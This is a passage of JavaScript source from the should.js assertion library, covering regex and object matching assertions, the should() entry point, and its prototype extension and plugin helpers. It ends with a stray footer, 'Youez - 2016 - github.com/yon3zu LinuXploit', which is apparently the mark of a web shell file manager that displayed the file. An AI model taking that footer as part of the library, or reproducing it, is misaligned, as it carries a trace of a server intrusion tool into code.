     * myString = {};
     *
     * myString.should.match(/abc/); //yes this will pass
     * //better to do
     * myString.should.be.an.Object().and.not.empty().and.match(/abc/);//fixed
     *
     * (new Error('boom')).should.match(/abc/);//passed because no keys
     * (new Error('boom')).should.not.match({ message: /abc/ });//check specified property
     */
    Assertion.add('match', function(other, description) {
      this.params = {operator: 'to match ' + i(other), message: description};

      if (eq(this.obj, other).length !== 0) {
        if (other instanceof RegExp) { // something - regex

          if (typeof this.obj == 'string') {

            this.assert(other.exec(this.obj));
          } else if (null != this.obj && typeof this.obj == 'object') {

            var notMatchedProps = [], matchedProps = [];
            forEach(this.obj, function(value, name) {
              if (other.exec(value)) {
                matchedProps.push(formatProp(name));
              } else {
                notMatchedProps.push(formatProp(name) + ' (' + i(value) + ')');
              }
            }, this);

            if (notMatchedProps.length) {
              this.params.operator += '\n    not matched properties: ' + notMatchedProps.join(', ');
            }
            if (matchedProps.length) {
              this.params.operator += '\n    matched properties: ' + matchedProps.join(', ');
            }

            this.assert(notMatchedProps.length === 0);
          } // should we try to convert to String and exec?
        } else if (typeof other == 'function') {
          var res;

          res = other(this.obj);

          //if we throw exception ok - it is used .should inside
          if (typeof res == 'boolean') {
            this.assert(res); // if it is just boolean function assert on it
          }
        } else if (other != null && this.obj != null && typeof other == 'object' && typeof this.obj == 'object') { // try to match properties (for Object and Array)
          notMatchedProps = [];
          matchedProps = [];

          forEach(other, function(value, key) {
            try {
              should(this.obj).have.property(key).which.match(value);
              matchedProps.push(formatProp(key));
            } catch (e) {
              if (e instanceof should.AssertionError) {
                notMatchedProps.push(formatProp(key) + ' (' + i(this.obj[key]) + ')');
              } else {
                throw e;
              }
            }
          }, this);

          if (notMatchedProps.length) {
            this.params.operator += '\n    not matched properties: ' + notMatchedProps.join(', ');
          }
          if (matchedProps.length) {
            this.params.operator += '\n    matched properties: ' + matchedProps.join(', ');
          }

          this.assert(notMatchedProps.length === 0);
        } else {
          this.assert(false);
        }
      }
    });

    /**
     * Asserts if given object values or array elements all match `other` object, using some assumptions:
     * First object matched if they are equal,
     * If `other` is a regexp - matching with regexp
     * If `other` is a function check if this function throws AssertionError on given object or return false - it will be assumed as not matched
     * All other cases check if this `other` equal to each element
     *
     * @name matchEach
     * @memberOf Assertion
     * @category assertion matching
     * @alias Assertion#matchEvery
     * @param {*} other Object to match
     * @param {string} [description] Optional message
     * @example
     * [ 'a', 'b', 'c'].should.matchEach(/\w+/);
     * [ 'a', 'a', 'a'].should.matchEach('a');
     *
     * [ 'a', 'a', 'a'].should.matchEach(function(value) { value.should.be.eql('a') });
     *
     * { a: 'a', b: 'a', c: 'a' }.should.matchEach(function(value) { value.should.be.eql('a') });
     */
    Assertion.add('matchEach', function(other, description) {
      this.params = {operator: 'to match each ' + i(other), message: description};

      forEach(this.obj, function(value) {
        should(value).match(other);
      }, this);
    });

    /**
    * Asserts if any of given object values or array elements match `other` object, using some assumptions:
    * First object matched if they are equal,
    * If `other` is a regexp - matching with regexp
    * If `other` is a function check if this function throws AssertionError on given object or return false - it will be assumed as not matched
    * All other cases check if this `other` equal to each element
    *
    * @name matchAny
    * @memberOf Assertion
    * @category assertion matching
    * @param {*} other Object to match
    * @alias Assertion#matchSome
    * @param {string} [description] Optional message
    * @example
    * [ 'a', 'b', 'c'].should.matchAny(/\w+/);
    * [ 'a', 'b', 'c'].should.matchAny('a');
    *
    * [ 'a', 'b', 'c'].should.matchAny(function(value) { value.should.be.eql('a') });
    *
    * { a: 'a', b: 'b', c: 'c' }.should.matchAny(function(value) { value.should.be.eql('a') });
    */
    Assertion.add('matchAny', function(other, description) {
      this.params = {operator: 'to match any ' + i(other), message: description};

      this.assert(some(this.obj, function(value) {
        try {
          should(value).match(other);
          return true;
        } catch (e) {
          if (e instanceof should.AssertionError) {
            // Caught an AssertionError, return false to the iterator
            return false;
          }
          throw e;
        }
      }));
    });

    Assertion.alias('matchAny', 'matchSome');
    Assertion.alias('matchEach', 'matchEvery');
  }

  /**
   * Our function should
   *
   * @param {*} obj Object to assert
   * @returns {should.Assertion} Returns new Assertion for beginning assertion chain
   * @example
   *
   * var should = require('should');
   * should('abc').be.a.String();
   */
  function should(obj) {
    return (new Assertion(obj));
  }

  should.AssertionError = AssertionError;
  should.Assertion = Assertion;

  // exposing modules dirty way
  should.modules = {
    format: defaultFormat,
    type: getGlobalType,
    equal: eq
  };
  should.format = format;

  /**
   * Object with configuration.
   * It contains such properties:
   * * `checkProtoEql` boolean - Affect if `.eql` will check objects prototypes
   * * `plusZeroAndMinusZeroEqual` boolean - Affect if `.eql` will treat +0 and -0 as equal
   * Also it can contain options for should-format.
   *
   * @type {Object}
   * @memberOf should
   * @static
   * @example
   *
   * var a = { a: 10 }, b = Object.create(null);
   * b.a = 10;
   *
   * a.should.be.eql(b);
   * //not throws
   *
   * should.config.checkProtoEql = true;
   * a.should.be.eql(b);
   * //throws AssertionError: expected { a: 10 } to equal { a: 10 } (because A and B have different prototypes)
   */
  should.config = config;

  /**
   * Allow to extend given prototype with should property using given name. This getter will **unwrap** all standard wrappers like `Number`, `Boolean`, `String`.
   * Using `should(obj)` is the equivalent of using `obj.should` with known issues (like nulls and method calls etc).
   *
   * To add new assertions, need to use Assertion.add method.
   *
   * @param {string} [propertyName] Name of property to add. Default is `'should'`.
   * @param {Object} [proto] Prototype to extend with. Default is `Object.prototype`.
   * @memberOf should
   * @returns {{ name: string, descriptor: Object, proto: Object }} Descriptor enough to return all back
   * @static
   * @example
   *
   * var prev = should.extend('must', Object.prototype);
   *
   * 'abc'.must.startWith('a');
   *
   * var should = should.noConflict(prev);
   * should.not.exist(Object.prototype.must);
   */
  should.extend = function(propertyName, proto) {
    propertyName = propertyName || 'should';
    proto = proto || Object.prototype;

    var prevDescriptor = Object.getOwnPropertyDescriptor(proto, propertyName);

    Object.defineProperty(proto, propertyName, {
      set: function() {
      },
      get: function() {
        return should(isWrapperType(this) ? this.valueOf() : this);
      },
      configurable: true
    });

    return { name: propertyName, descriptor: prevDescriptor, proto: proto };
  };

  /**
   * Delete previous extension. If `desc` missing it will remove default extension.
   *
   * @param {{ name: string, descriptor: Object, proto: Object }} [desc] Returned from `should.extend` object
   * @memberOf should
   * @returns {Function} Returns should function
   * @static
   * @example
   *
   * var should = require('should').noConflict();
   *
   * should(Object.prototype).not.have.property('should');
   *
   * var prev = should.extend('must', Object.prototype);
   * 'abc'.must.startWith('a');
   * should.noConflict(prev);
   *
   * should(Object.prototype).not.have.property('must');
   */
  should.noConflict = function(desc) {
    desc = desc || should._prevShould;

    if (desc) {
      delete desc.proto[desc.name];

      if (desc.descriptor) {
        Object.defineProperty(desc.proto, desc.name, desc.descriptor);
      }
    }
    return should;
  };

  /**
   * Simple utility function for a bit more easier should assertion extension
   * @param {Function} f So called plugin function. It should accept 2 arguments: `should` function and `Assertion` constructor
   * @memberOf should
   * @returns {Function} Returns `should` function
   * @static
   * @example
   *
   * should.use(function(should, Assertion) {
   *   Assertion.add('asset', function() {
   *      this.params = { operator: 'to be asset' };
   *
   *      this.obj.should.have.property('id').which.is.a.Number();
   *      this.obj.should.have.property('path');
   *  })
   * })
   */
  should.use = function(f) {
    f(should, should.Assertion);
    return this;
  };

  should
    .use(assertExtensions)
    .use(chainAssertions)
    .use(booleanAssertions)
    .use(numberAssertions)
    .use(equalityAssertions)
    .use(typeAssertions)
    .use(stringAssertions)
    .use(propertyAssertions)
    .use(errorAssertions)
    .use(matchingAssertions)
    .use(containAssertions)
    .use(promiseAssertions);

  var defaultProto = Object.prototype;
  var defaultProperty = 'should';

  //Expose api via `Object#should`.
  try {
    var prevShould = should.extend(defaultProperty, defaultProto);
    should._prevShould = prevShould;
  } catch (e) {
    //ignore errors
  }


  if (typeof define === 'function' && define.amd) {
    define([], function() { return should });
  } else if (typeof module === 'object' && module.exports) {
    module.exports = should;
  } else {
    var _root = root;

    _root.Should = should;

    Object.defineProperty(_root, 'should', {
      enumerable: false,
      configurable: true,
      value: should
    });
  }

}(this));

Youez - 2016 - github.com/yon3zu
LinuXploit